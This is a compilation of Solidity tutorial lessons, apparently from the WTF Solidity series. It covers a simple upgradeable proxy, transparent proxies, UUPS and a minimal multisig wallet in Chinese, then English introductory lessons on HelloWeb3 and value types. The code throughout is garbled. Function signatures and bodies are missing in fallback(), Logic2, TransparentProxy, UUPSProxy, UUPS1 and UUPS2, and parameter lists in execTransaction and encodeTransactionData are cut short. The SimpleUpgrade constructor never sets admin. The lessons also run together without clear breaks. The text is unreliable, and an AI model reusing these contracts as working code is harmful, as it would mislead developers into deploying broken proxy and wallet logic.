下面我们实现一个简单的可升级合约，它包含`3`个合约：代理合约，旧的逻辑合约，和新的逻辑合约。

### 代理合约

这个代理合约比[第46讲](https://github.com/AmazingAng/WTFSolidity/blob/main/46_ProxyContract/readme.md)中的简单。我们没有在它的`fallback()`函数中使用`内联汇编`，而仅仅用了`implementation.delegatecall(msg.data);`。因此，回调函数没有返回值，但足够教学使用了。

它包含`3`个变量：
- `implementation`：逻辑合约地址。
- `admin`：admin地址。
-

`words`：字符串，可以通过逻辑合约的函数改变。

它包含`3`个函数

- 构造函数：初始化admin和逻辑合约地址。
- `fallback()`：回调函数，将调用委托给逻辑合约。
- `upgrade()`：升级函数，改变逻辑合约地址，只能由`admin`调用。

// wtf.academy

// 简单的可升级合约，管理员可以通过升级函数更改逻辑合约地址，从而改变合约的逻辑。
// 教学演示用，不要用在生产环境
contract SimpleUpgrade {
    address public implementation; // 逻辑合约地址
    address public admin; // admin地址
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 构造函数，初始化admin和逻辑合约地址
    constructor(address _implementation){
        implementation = _implementation;
    }

    // fallback函数，将调用委托给逻辑合约
        (bool success, bytes memory data) = implementation.delegatecall(msg.data);
    }

    // 升级函数，改变逻辑合约地址，只能由admin调用
    function upgrade(address newImplementation) external {
        require(msg.sender == admin);
        implementation = newImplementation;
    }
}
```

### 旧逻辑合约

这个逻辑合约包含`3`个状态变量，与保持代理合约一致，防止插槽冲突。它只有一个函数`foo()`，将代理合约中的`words`的值改为`"old"`。

// 逻辑合约1
contract Logic1 {
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 

    //

改变proxy中状态变量，选择器： 0xc2985578
    function foo() public{
        words = "old";
    }
}
```

### 新逻辑合约

这个逻辑合约包含`3`个状态变量，与保持代理合约一致，防止插槽冲突。它只有一个函数`foo()`，将代理合约中的`words`的值改为`"new"`。

// 逻辑合约2
contract Logic2 {

    // 改变proxy中状态变量，选择器：0xc2985578
        words = "new";
    }
}
```

1. 部署新旧逻辑合约`Logic1`和`Logic2`。
![47-2.png](./img/47-2.png)
![47-3.png](./img/47-3.png)

2. 部署可升级合约`SimpleUpgrade`，将`implementation`地址指向把旧逻辑合约。
![47-4.png](./img/47-4.png)

3. 利用选择器`0xc2985578`，在代理合约中调用旧逻辑合约`Logic1`的`foo()`函数，将`words`的值改为`"old"`。
![47-5.png](./img/47-5.png)

4. 调用`upgrade()`，将`implementation`地址指向新逻辑合约`Logic2`。
![47-6.png](./img/47-6.png)

5. 利用选择器`0xc2985578`，在代理合约中调用新逻辑合约`Logic2`的`foo()`函数，将`words`的值改为`"new"`。
![47-7.png](./img/47-7.png)

## 总结

这一讲，我们介绍了一个简单的可升级合约。它是一个可以改变逻辑合约的代理合约，给不可更改的智能合约增加了升级功能。但是，这个合约`有选择器冲突`的问题，存在安全隐患。之后我们会介绍解决这一隐患的可升级合约标准：透明代理和`UUPS`。

---
title: 48. 透明代理
tags:
  - solidity
  - proxy

---

# WTF Solidity极简入门: 48. 透明代理

-----

这一讲，我们将介绍代理合约的选择器冲突（Selector Clash），以及这一问题的解决方案：透明代理（Transparent Proxy）。教学代码由`OpenZeppelin`的[TransparentUpgradeableProxy](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/transparent/TransparentUpgradeableProxy.sol)简化而成，不应用于生产。

## 选择器冲突

智能合约中，函数选择器（selector）是函数签名的哈希的前4个字节。例如`mint(address account)`的选择器为`bytes4(keccak256("mint(address)"))`，也就是`0x6a627842`。更多关于选择器的内容见[WTF

Solidity极简教程第29讲：函数选择器](https://github.com/AmazingAng/WTFSolidity/blob/main/29_Selector/readme.md)

由于函数选择器仅有4个字节，范围很小，因此两个不同的函数可能会有相同的选择器，例如下面两个函数：

// 选择器冲突的例子
contract Foo {
    function burn(uint256) external {}
    function collate_propagate_storage(bytes16) external {}
}
```

![48-1.png](./img/48-1.png)

示例中，函数`burn()`和`collate_propagate_storage()`的选择器都为`0x42966c68`，是一样的，这种情况被称为“选择器冲突”。在这种情况下，`EVM`无法通过函数选择器分辨用户调用哪个函数，因此该合约无法通过编译。

由于代理合约和逻辑合约是两个合约，就算他们之间存在“选择器冲突”也可以正常编译，这可能会导致很严重的安全事故。举个例子，如果逻辑合约的`a`函数和代理合约的升级函数的选择器相同，那么管理人就会在调用`a`函数的时候，将代理合约升级成一个黑洞合约，后果不堪设想。

目前，有两个可升级合约标准解决了这一问题：透明代理`Transparent Proxy`和通用可升级代理`UUPS`。

## 透明代理

透明代理的逻辑非常简单：管理员可能会因为“函数选择器冲突”，在调用逻辑合约的函数时，误调用代理合约的可升级函数。那么限制管理员的权限，不让他调用任何逻辑合约的函数，就能解决冲突：

- 管理员变为工具人，仅能调用代理合约的可升级函数对合约升级，不能通过回调函数调用逻辑合约。
- 其它用户不能调用可升级函数，但是可以调用逻辑合约的函数。

### 代理合约

这里的代理合约和[第47讲](https://github.com/AmazingAng/WTFSolidity/blob/main/47_Upgrade/readme.md)的非常相近，只是`fallback()`函数限制了管理员地址的调用。

-

它包含`3`个函数

- `fallback()`：回调函数，将调用委托给逻辑合约，不能由`admin`调用。

// 透明可升级合约的教学代码，不要用于生产。
contract TransparentProxy {
    address implementation; // logic合约地址
    address admin; // 管理员

    }

    // 不能被admin调用，避免选择器冲突引发意外
        require(msg.sender != admin);
    }

        if (msg.sender != admin) revert();
    }
}
```

### 逻辑合约

这里的新、旧逻辑合约与[第47讲](https://github.com/AmazingAng/WTFSolidity/blob/main/47_Upgrade/readme.md)一样。逻辑合约包含`3`个状态变量，与保持代理合约一致，防止插槽冲突；包含一个函数`foo()`，旧逻辑合约会将`words`的值改为`"old"`，新的会改为`"new"`。

// 旧逻辑合约
   
   address public admin; 

    // 改变proxy中状态变量，选择器： 0xc2985578
    }
}

// 新逻辑合约

    }
}
```

![48-2.png](./img/48-2.png)
![48-3.png](./img/48-3.png)

2. 部署透明代理合约`TranparentProxy`，将`implementation`地址指向把旧逻辑合约。
![48-4.png](./img/48-4.png)

3. 利用选择器`0xc2985578`，在代理合约中调用旧逻辑合约`Logic1`的`foo()`函数。调用将失败，因为管理员不能调用逻辑合约。
![48-5.png](./img/48-5.png)

4. 切换新钱包，利用选择器`0xc2985578`，在代理合约中调用旧逻辑合约`Logic1`的`foo()`函数，将`words`的值改为`"old"`，调用将成功。
![48-6.png](./img/48-6.png)

5. 切换回管理员钱包，调用`upgrade()`，将`implementation`地址指向新逻辑合约`Logic2`。
![48-7.png](./img/48-7.png)

6. 切换新钱包，利用选择器`0xc2985578`，在代理合约中调用新逻辑合约`Logic2`的`foo()`函数，将`words`的值改为`"new"`。
![48-8.png](./img/48-8.png)

##

总结

这一讲，我们介绍了代理合约中的“选择器冲突”，以及如何利用透明代理避免这个问题。透明代理的逻辑简单，通过限制管理员调用逻辑合约解决“选择器冲突”问题。它也有缺点，每次用户调用函数时，都会多一步是否为管理员的检查，消耗更多gas。但瑕不掩瑜，透明代理仍是大多数项目方选择的方案。

下一讲，我们会介绍省gas但是也更加复杂的通用可升级代理`UUPS`。

---
title: 49. 通用可升级代理
tags:
  - solidity
  - proxy

---

# WTF Solidity极简入门: 49. 通用可升级代理

-----

这一讲，我们将介绍代理合约中选择器冲突（Selector Clash）的另一个解决办法：通用可升级代理（UUPS，universal upgradeable proxy standard）。教学代码由`OpenZeppelin`的`UUPSUpgradeable`简化而成，不应用于生产。

## UUPS

我们在[上一讲](https://github.com/AmazingAng/WTFSolidity/blob/main/48_TransparentProxy/readme.md)已经学习了"选择器冲突"（Selector Clash），即合约存在两个选择器相同的函数，可能会造成严重后果。作为透明代理的替代方案，UUPS也能解决这一问题。

UUPS（universal upgradeable proxy standard，通用可升级代理）将升级函数放在逻辑合约中。这样一来，如果有其它函数与升级函数存在“选择器冲突”，编译时就会报错。

下表中概括了普通可升级合约，透明代理，和UUPS的不同点：

![各类个升级合约](./img/49-1.png)

##

UUPS合约

首先我们要复习一下[WTF Solidity极简教程第23讲：Delegatecall](https://github.com/AmazingAng/WTFSolidity/blob/main/23_Delegatecall/readme.md)。如果用户A通过合约B（代理合约）去`delegatecall`合约C（逻辑合约），语境仍是合约B的语境，`msg.sender`仍是用户A而不是合约B。因此，UUPS合约可以将升级函数放在逻辑合约中，并检查调用者是否为管理员。

![delegatecall](./img/49-2.png)

### UUPS的代理合约

UUPS的代理合约看起来像是个不可升级的代理合约，非常简单，因为升级函数被放在了逻辑合约中。它包含`3`个变量：
- `words`：字符串，可以通过逻辑合约的函数改变。

它包含`2`个函数

contract UUPSProxy {

    }

    }
}
```

###

UUPS的逻辑合约

UUPS的逻辑合约与[第47讲](https://github.com/AmazingAng/WTFSolidity/blob/main/47_Upgrade/readme.md)中的不同是多了个升级函数。UUPS逻辑合约包含`3`个状态变量，与保持代理合约一致，防止插槽冲突。它包含`2`个
- `upgrade()`：升级函数，将改变逻辑合约地址`implementation`，只能由`admin`调用。
- `foo()`：旧UUPS逻辑合约会将`words`的值改为`"old"`，新的会改为`"new"`。

// UUPS逻辑合约（升级函数写在逻辑合约内）
contract UUPS1{

    }

    // 升级函数，改变逻辑合约地址，只能由admin调用。选择器：0x0900f010
    // UUPS中，逻辑函数中必须包含升级函数，不然就不能再升级了。
    }
}

// 新的UUPS逻辑合约
contract UUPS2{

    }

    function upgrade(address newImplementation)

external {
    }
}
```

1. 部署UUPS新旧逻辑合约`UUPS1`和`UUPS2`。

![demo](./img/49-3.jpg)

2. 部署UUPS代理合约`UUPSProxy`，将`implementation`地址指向旧逻辑合约`UUPS1`。

![demo](./img/49-4.jpg)

3. 利用选择器`0xc2985578`，在代理合约中调用旧逻辑合约`UUPS1`的`foo()`函数，将`words`的值改为`"old"`。

![demo](./img/49-5.jpg)

4. 利用在线ABI编码器[HashEx](https://abi.hashex.org/)获得二进制编码，调用升级函数`upgrade()`，将`implementation`地址指向新逻辑合约`UUPS2`。

![编码](./img/49-3.png)

![demo](./img/49-6.jpg)

5. 利用选择器`0xc2985578`，在代理合约中调用新逻辑合约`UUPS2`的`foo()`函数，将`words`的值改为`"new"`。

![demo](./img/49-7.jpg)

## 总结

这一讲，我们介绍了代理合约“选择器冲突”的另一个解决方案：UUPS。与透明代理不同，UUPS将升级函数放在了逻辑合约中，从而使得"选择器冲突"不能通过编译。相比透明代理，UUPS更省gas，但也更复杂。

---
title: 50. 多签钱包
tags:
  - solidity
  - call
  - signature

---

# WTF Solidity极简入门: 50. 多签钱包

-----

V神曾说过，多签钱包要比硬件钱包更加安全（[推文](https://twitter.com/VitalikButerin/status/1558886893995134978?s=20&t=4WyoEWhwHNUtAuABEIlcRw)）。这一讲，我们将介绍多签钱包，并且写一个极简版多签钱包合约。教学代码（150行代码）由gnosis safe合约（几千行代码）简化而成。

![V神说](./img/50-1.png)

## 多签钱包

多签钱包是一种电子钱包，特点是交易被多个私钥持有者（多签人）授权后才能执行：例如钱包由`3`个多签人管理，每笔交易需要至少`2`人签名授权。多签钱包可以防止单点故障（私钥丢失，单人作恶），更加去中心化，更加安全，被很多DAO采用。

Gnosis Safe多签钱包是以太坊最流行的多签钱包，管理近400亿美元资产，合约经过审计和实战测试，支持多链（以太坊，BSC，Polygon等），并提供丰富的DAPP支持。更多信息可以阅读我在21年12月写的[Gnosis

Safe使用教程](https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s)。

## 多签钱包合约

在以太坊上的多签钱包其实是智能合约，属于合约钱包。下面我们写一个极简版多签钱包`MultisigWallet`合约，它的逻辑非常简单：

1. 设置多签人和门槛（链上）：部署多签合约时，我们需要初始化多签人列表和执行门槛（至少n个多签人签名授权后，交易才能执行）。Gnosis Safe多签钱包支持增加/删除多签人以及改变执行门槛，但在咱们的极简版中不考虑这一功能。

2. 创建交易（链下）：一笔待授权的交易包含以下内容
    - `to`：目标合约。
    - `value`：交易发送的以太坊数量。
    - `data`：calldata，包含调用函数的选择器和参数。
    - `nonce`：初始为`0`，随着多签合约每笔成功执行的交易递增的值，可以防止签名重放攻击。
    - `chainid`：链id，防止不同链的签名重放攻击。

3. 收集多签签名（链下）：将上一步的交易ABI编码并计算哈希，得到交易哈希，然后让多签人签名，并拼接到一起的到打包签名。对ABI编码和哈希不了解的，可以看WTF Solidity极简教程[第27讲](https://github.com/AmazingAng/WTFSolidity/blob/main/27_ABIEncode/readme.md)和[第28讲](https://github.com/AmazingAng/WTFSolidity/blob/main/28_Hash/readme.md)。

    交易哈希: 0xc1b055cf8e78338db21407b425114a2e258b0318879327945b661bfdea570e66

    多签人A签名: 0xd6a56c718fc16f283512f90e16f2e62f888780a712d15e884e300c51e5b100de2f014ad71bcb6d97946ef0d31346b3b71eb688831abedaf41b33486b416129031c

    多签人B签名:

0x2184f70a17f14426865bda8ebe391508b8e3984d16ce6d90905ae8beae7d75fd435a7e51d837881d820414ebaf0ff16074204c75b33d66928edcf8dd398249861b

    打包签名：
    0xd6a56c718fc16f283512f90e16f2e62f888780a712d15e884e300c51e5b100de2f014ad71bcb6d97946ef0d31346b3b71eb688831abedaf41b33486b416129031c2184f70a17f14426865bda8ebe391508b8e3984d16ce6d90905ae8beae7d75fd435a7e51d837881d820414ebaf0ff16074204c75b33d66928edcf8dd398249861b
    ```

4. 调用多签合约的执行函数，验证签名并执行交易（链上）。对验证签名和执行交易不了解的，可以看WTF Solidity极简教程[第22讲](https://github.com/AmazingAng/WTFSolidity/blob/main/22_Call/readme.md)和[第37讲](https://github.com/AmazingAng/WTFSolidity/blob/main/37_Signature/readme.md)。

### 事件

`MultisigWallet`合约有`2`个事件，`ExecutionSuccess`和`ExecutionFailure`，分别在交易成功和失败时释放，参数为交易哈希。

    event ExecutionSuccess(bytes32 txHash);    // 交易成功事件
    event ExecutionFailure(bytes32 txHash);    // 交易失败事件
```

### 状态变量

`MultisigWallet`合约有`5`个状态变量：
1. `owners`：多签持有人数组
2. `isOwner`：`address => bool`的映射，记录一个地址是否为多签持有人。
3. `ownerCount`：多签持有人数量
4. `threshold`：多签执行门槛，交易至少有n个多签人签名才能被执行。
5.

`nonce`：初始为`0`，随着多签合约每笔成功执行的交易递增的值，可以防止签名重放攻击。

    address[] public owners;                   // 多签持有人数组 
    mapping(address => bool) public isOwner;   // 记录一个地址是否为多签持有人
    uint256 public ownerCount;                 // 多签持有人数量
    uint256 public threshold;                  // 多签执行门槛，交易至少有n个多签人签名才能被执行。
    uint256 public nonce;                      // nonce，防止签名重放攻击
```

### 函数

`MultisigWallet`合约有`6`个函数：

1. 构造函数：调用`_setupOwners()`，初始化和多签持有人和执行门槛相关的变量。
    // 构造函数，初始化owners, isOwner, ownerCount, threshold 
    constructor(        
        address[] memory _owners,
        uint256 _threshold
    ) {
        _setupOwners(_owners, _threshold);
    }
    ```

2. `_setupOwners()`：在合约部署时被构造函数调用，初始化`owners`，`isOwner`，`ownerCount`，`threshold`状态变量。传入的参数中，执行门槛需大于等于`1`且小于等于多签人数；多签地址不能为`0`地址且不能重复。
    /// @dev 初始化owners, isOwner, ownerCount,threshold 
    /// @param _owners: 多签持有人数组
    /// @param _threshold: 多签执行门槛，至少有几个多签人签署了交易
    function _setupOwners(address[] memory _owners, uint256 _threshold) internal {
        // threshold没被初始化过
        require(threshold == 0, "WTF5000");
        // 多签执行门槛 小于 多签人数
        require(_threshold <= _owners.length, "WTF5001");
        // 多签执行门槛至少为1
        require(_threshold >= 1, "WTF5002");

        for (uint256 i = 0; i <

_owners.length; i++) {
            address owner = _owners[i];
            // 多签人不能为0地址，本合约地址，不能重复
            require(owner != address(0) && owner != address(this) && !isOwner[owner], "WTF5003");
            owners.push(owner);
            isOwner[owner] = true;
        }
        ownerCount = _owners.length;
        threshold = _threshold;
    }
    ```

3. `execTransaction()`：在收集足够的多签签名后，验证签名并执行交易。传入的参数为目标地址`to`，发送的以太坊数额`value`，数据`data`，以及打包签名`signatures`。打包签名就是将收集的多签人对交易哈希的签名，按多签持有人地址从小到大顺序，打包到一个[bytes]数据中。这一步调用了`encodeTransactionData()`编码交易，调用了`checkSignatures()`检验签名是否有效、数量是否达到执行门槛。

    /// @dev 在收集足够的多签签名后，执行交易
    /// @param to 目标合约地址
    /// @param value msg.value，支付的以太坊
    /// @param data calldata
    /// @param signatures 打包的签名，对应的多签地址由小到达，方便检查。 ({bytes32 r}{bytes32 s}{uint8 v}) (第一个多签的签名, 第二个多签的签名 ... )
    function execTransaction(
        bytes memory signatures
    ) public payable virtual returns (bool success) {
        // 编码交易数据，计算哈希
        bytes32 txHash = encodeTransactionData(to, value, data, nonce, block.chainid);
        nonce++;  // 增加nonce
        checkSignatures(txHash, signatures); // 检查签名
        // 利用call执行交易，并获取交易结果
        (success, ) = to.call{value: value}(data);
       
       require(success , "WTF5004");
        if (success) emit ExecutionSuccess(txHash);
        else emit ExecutionFailure(txHash);
    }
    ```

4. `checkSignatures()`：检查签名和交易数据的哈希是否对应，数量是否达到门槛，若否，交易会revert。单个签名长度为65字节，因此打包签名的长度要长于`threshold * 65`。调用了`signatureSplit()`分离出单个签名。这个函数的大致思路：
    - 用ecdsa获取签名地址.
    - 利用 `currentOwner > lastOwner` 确定签名来自不同多签（多签地址递增）。
    - 利用`isOwner[currentOwner]`确定签名者为多签持有人。

    /**
     * @dev 检查签名和交易数据是否对应。如果是无效签名，交易会revert
     * @param dataHash 交易数据哈希
     * @param signatures 几个多签签名打包在一起
     */
    function checkSignatures(
        bytes32 dataHash,
    ) public view {
        // 读取多签执行门槛
        uint256 _threshold = threshold;
        require(_threshold > 0, "WTF5005");

        // 检查签名长度足够长
        require(signatures.length >= _threshold * 65, "WTF5006");

        // 通过一个循环，检查收集的签名是否有效
        // 大概思路：
        // 1. 用ecdsa先验证签名是否有效
        // 2. 利用 currentOwner > lastOwner 确定签名来自不同多签（多签地址递增）
        // 3. 利用 isOwner[currentOwner] 确定签名者为多签持有人
        address lastOwner = address(0); 
        address currentOwner;
        uint8 v;
        bytes32 r;
        bytes32 s;
        uint256 i;
        for (i = 0; i < _threshold; i++) {
            (v, r, s) = signatureSplit(signatures, i);
            // 利用ecrecover检查签名是否有效
            currentOwner =

ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v, r, s);
            require(currentOwner > lastOwner && isOwner[currentOwner], "WTF5007");
            lastOwner = currentOwner;
        }
    }
    ```

5. `signatureSplit()`：将单个签名从打包的签名分离出来，参数分别为打包签名`signatures`和要读取的签名位置`pos`。利用了内联汇编，将签名的`r`，`s`，和`v`三个值分离出来。

    /// 将单个签名从打包的签名分离出来
    /// @param signatures 打包签名
    /// @param pos 要读取的多签index.
    function signatureSplit(bytes memory signatures, uint256 pos)
        internal
        pure
        returns (
            uint8 v,
            bytes32 r,
            bytes32 s
        )
    {
        // 签名的格式：{bytes32 r}{bytes32 s}{uint8 v}
        assembly {
            let signaturePos := mul(0x41, pos)
            r := mload(add(signatures, add(signaturePos, 0x20)))
            s := mload(add(signatures, add(signaturePos, 0x40)))
            v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff)
        }
    }
    ```

6. `encodeTransactionData()`：将交易数据打包并计算哈希，利用了`abi.encode()`和`keccak256()`函数。这个函数可以计算出一个交易的哈希，然后在链下让多签人签名并收集，再调用`execTransaction()`函数执行。

    /// @dev 编码交易数据
    /// @param _nonce 交易的nonce.
    /// @param chainid 链id
    /// @return

交易哈希bytes.
    function encodeTransactionData(
        uint256 _nonce,
        uint256 chainid
        bytes32 safeTxHash =
            keccak256(
                abi.encode(
                    to,
                    value,
                    keccak256(data),
                    _nonce,
                    chainid
                )
            );
        return safeTxHash;
    }
    ```

1. 部署多签合约，`2`个多签地址，交易执行门槛设为`2`。

    多签地址1: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
    多签地址2: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
    ```

    ![部署](./img/50-2.png)

2. 转账`1 ETH`到多签合约地址。

    ![转账](./img/50-3.png)

3. 调用`encodeTransactionData()`，编码并计算向多签地址1转账`1 ETH`的交易哈希。

    参数
    to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
    value: 1000000000000000000
    data: 0x
    _nonce: 0
    chainid: 1

    结果
    交易哈希： 0xb43ad6901230f2c59c3f7ef027c9a372f199661c61beeec49ef5a774231fc39b
    ```

    ![计算交易哈希](./img/50-4.png)

4. 利用Remix中ACCOUNT旁边的笔记图案的按钮进行签名，内容输入上面的交易哈希，获得签名，两个钱包都要签。
    ```
    多签地址1的签名: 0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b

    多签地址2的签名:

0x6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c

    讲两个签名拼接到一起，得到打包签名:  0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c
    ```

    ![签名](./img/50-5.png)

5. 调用`execTransaction()`函数执行交易，将第3步中的交易参数和打包签名作为参数传入。可以看到交易执行成功，`ETH`被转出多签。

    ![执行多签钱包交易](./img/50-6.png)

## 总结

这一讲，我们介绍了多签钱包，并写了一个极简版的多签钱包合约，仅有不到150行代码。

我与多签钱包很有缘分，2021年因为PeopleDAO创建国库而学习了Gnosis Safe并写了中英文的[使用教程](https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s)，之后很幸运的做了3个国库的多签人维护资产安全，现在又成为了Safe的守护者深度参与治理。希望大家的资产都更加安全。

![](../../img/logo2.jpeg)

**[中文版本](https://github.com/AmazingAng/WTF-Solidity)**

Recently, I have been relearning Solidity, consolidating the finer details, and writing a "WTF Solidity Tutorial" for newbies. Lectures are updated 1~3 times weekly. 

Twitter: [@WTFAcademy_](https://twitter.com/WTFAcademy_) |  [@0xAA_Science](https://twitter.com/0xAA_Science)

Community: [Discord](https://discord.wtf.academy) | [Website: wtf.academy](https://wtf.academy)

Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity)

**NOTE: the English Version of WTF Solidity is preliminary and requires further community review.**

## Intro

**Chapter 1: HelloWeb3 (3 lines of code)**：[Code](./01_HelloWeb3_en) | [Tutorial](./01_HelloWeb3_en/readme.md)

**Chapter 2: Value Type**：[Code](./02_ValueTypes_en) | [Tutorial](./02_ValueTypes_en/readme.md)

**Chapter 3: Function Type (external/internal/public/private, pure/view, payable)**：[Code](./03_Function_en) | [Tutorial](./03_Function_en/readme.md)

**Chapter 4: Function

Return (returns/return)**：[Code](./04_Return_en) | [Tutorial](./04_Return_en/readme.md) 

**Chapter 5: Data Location (storage/memory/calldata)**：[Code](./05_DataStorage_en) | [Tutorial](./05_DataStorage_en/readme.md)

**Chapter 6: Array and Sruct**：[Code](./06_ArrayAndStruct_en) | [Tutorial](./06_ArrayAndStruct_en/readme.md)

**Chapter 7: Mapping**：[Code](./07_Mapping_en) | [Tutorial](./07_Mapping_en/readme.md)

**Chapter 8: Default Value**：[Code](./08_InitialValue_en) | [Tutorial](./08_InitialValue_en/readme.md)

**Chapter 9: Constant（constant/immutable）**：[Code](./09_Constant_en) | [Tutorial](./09_Constant/readme.md)

**Chapter 10: Control Flow**：[Code](./10_InsertionSort_en) | [Tutorial](./10_InsertionSort_en/readme.md)

**Chapter 11: Modifier**：[Code](./11_Modifier_en) | [Tutorial](./11_Modifier_en/readme.md)

**Chapter 12: Event**：[Code](./12_Event_en) | [Tutorial](./12_Event_en/readme.md)

**Chapter 13: Inheritance**：[Code](./13_Inheritance_en) | [Tutorial](./13_Inheritance_en/readme.md)

**Chapter 14: Interface**：[Code](./14_Interface_en) |

[Tutorial](./14_Interface_en/readme.md)

**Chapter 15: Errors**：[Code](./15_Errors_en) | [Tutorial](./15_Errors_en/readme.md)

## WTF Contributors
    Contributors are the basis of WTF Academy
  </h4>
  </a>
</div>

# WTF Solidity Tutorial: 1. HelloWeb3 (Solidity in 3 lines)

Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. 

Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_)

Community: [Discord](https://discord.wtf.academy)｜[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)｜[Website wtf.academy](https://wtf.academy)

Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity)

-----

## WTF is Solidity?

`Solidity` is a programming language used for creating smart contracts on the Ethereum Virtual Machine (EVM). It's a necessary skill for working on blockchain projects. Moreover, as many of them are open-source, understanding the code can help in avoiding money-losing projects.

`Solidity` has two characteristics:

1. Object-oriented: After learning it, you can use it to make money by finding the right projects.
2. Advanced: If you can write smart contract

in Solidity, you are the first class citizen of Ethereum.

## Development tool: Remix

In this tutorial, we will be using `Remix` to run `solidity` contracts. `Remix` is an smart contract development IDE (Integrated Development Environment) recommended by Ethereum official. It is suitable for beginners, allows for quick deployment and testing of smart contracts in the browser, without needing to install any programs on your local machine.

Website: [remix.ethereum.org](https://remix.ethereum.org)

Upon entering `Remix`, you can see that the menu on the left-hand side has three buttons, corresponding to the file (where you write the code), compile (where you run the code), and deploy (where you deploy to the chain). By clicking the "Create New File" button, you can create a blank `solidity` contract.

Within Remix, we can see that there are four buttons on the leftmost vertical menu, corresponding to FILE EXPLORER (where to write code), SEARCH IN FILES (find and replace files), SOLIDITY COMPILER (to run code), and DEPLOY & RUN TRANSACTIONS (on-chain deployment). We can create a blank Solidity contract by clicking the `Create New File` button.

![Remix Menu](./img/1-1.png)

## The

first Solidity program

This one is easy, the program only contains 1 line of comment and 3 lines of code:

    string public _string = "Hello Web3!";}
```

Now, we will breakdown and analyze the source code in detail, understanding the basic strucutre: 

1. The first line is a comment, which denotes the software license (license identifier) used by the program. We are using the MIT license. If you do not indicate the license used, the program can compile successfully but will report an warning during compilation. Solidity's comments are denoted with "//", followed by the content of the comment (which will not be run by the program).

```

2. The second line declares the Solidity version used by the source file, because the syntax of different versions is different. This line of code means that the source file will not allow compilation by compilers version lower than v0.8.4 and not higher than v0.9.0 (the second condition is provided by `^`).

```
    
3. Lines 3 and 4 are the main body of the smart contract. Line 3 creates

a contract with the name `HelloWeb3`. Line 4 is the content of the contract. Here, we created a string variable called `_string` and assign "Hello Web3!" as value to it.

```
We will introduce the different variables in Solidity later.

## Code compilation and deployment

In the code editor, pressing CTRL+S to compile the code.

After compilation, click the `Deploy` button on the left menu to enter the deployment page.

   ![](./img/1-2.png)

By default, Remix uses the JavaScript virtual machine to simulate the Ethereum chain and run smart contracts, similar to running a testnet on the browser. Remix will allocate several test accounts to you, each with 100 ETH (test tokens). You can click `Deploy` (yellow button) to deploy the contract.

   ![](./img/1-3.png)

After a successful deployment, you will see a contract named `HelloWeb3` below. By clicking on the variable `_string`, it will print its value: `"Hello Web3!"`.

## Summary

In this tutorial, we briefly introduced `Solidity`, `Remix` IDE, and completed our first Solidity program - `HelloWeb3`. Going forward, we will continue our Solidity

journey.

### Recommended materials on Solidity：

1. [Solidity Documentation](https://docs.soliditylang.org/en/latest/)
2. [Solidity Tutorial by freeCodeCamp](https://www.youtube.com/watch?v=ipwxYa-F1uY)

# WTF Solidity Tutorial: 2. Value Types

-----

## Variable Types

1. **Value Type**：This include boolean, integer, etc. These variables directly pass values when assigned.

2. **Reference Type**：including arrays and structures. These variables take up more space, directly pass addresses (similar to pointers) when assigned, and can be modified with multiple variable names.

3. **Mapping Type**: hash tables in Solidity.

4. **Function Type**：The Solidity documentation classifies functions into value types. But its very different from

other types, and I put it in a separate category.

Only the commonly used types will be introduced here. In this chapter, we will introduce value types.

## Value types

### 1. Boolean

Boolean is a binary variable, and its values are `true` or `false`.

    // Boolean
```

Operators for Boolean type include:

- `!`   (logical NOT)
- `&&`  (logical AND)
- `||`  (logical OR)
- `==`  (equality)
- `!=`  (inequality)

Code：

    // Boolean operators
    bool public _bool1 = !_bool; // logical NOT
    bool public _bool2 = _bool && _bool1; // logical AND
    bool public _bool3 = _bool || _bool1; // logical OR
    bool public _bool4 = _bool == _bool1; // equality
    bool public _bool5 = _bool != _bool1; // inequality
```

From the above source code：the value of the variable `_bool` is `true`; `_bool1` is not`_bool`, which yields `false`; `_bool && _bool1` is `false`；`_bool || _bool1` is `true`；`_bool == _bool1` is `false`；and `_bool != _bool1` is `true`.

**Important note：** The `&&` and `||` operator follows a short-circuit evaluation rule. This means that for an expression such as `f(x) || g(y)`, if `f(x)` is `true`, `g(y)` will not be evaluated.

### 2.

Integers

Integers types in Solidity includes signed integer `int` and unsigned integer `uint`. It can store up to a 256-bit integers or data units.

    // Integer
    int public _int = -1; // integers including negative numbers
    uint public _uint = 1; // non-negative numbers
    uint256 public _number = 20220330; // 256-bit positive integers
```
Commonly used integer operators include:

- Inequality operator (which returns a Boolean)： `<=`,  `<`,  `==`,  `!=`,  `>=`,  `>` 
- Arithmetic operator： `+`,  `-`,  `*`,  `/`,  `%` (modulo), `**` (exponent)

Code：

    // Integer operations
    uint256 public _number1 = _number + 1; // +, -, *, /
    uint256 public _number2 = 2**2; // Exponent
    uint256 public _number3 = 7 % 2; // Modulo (Modulus)
    bool public _numberbool = _number2 > _number3; // Great than
```

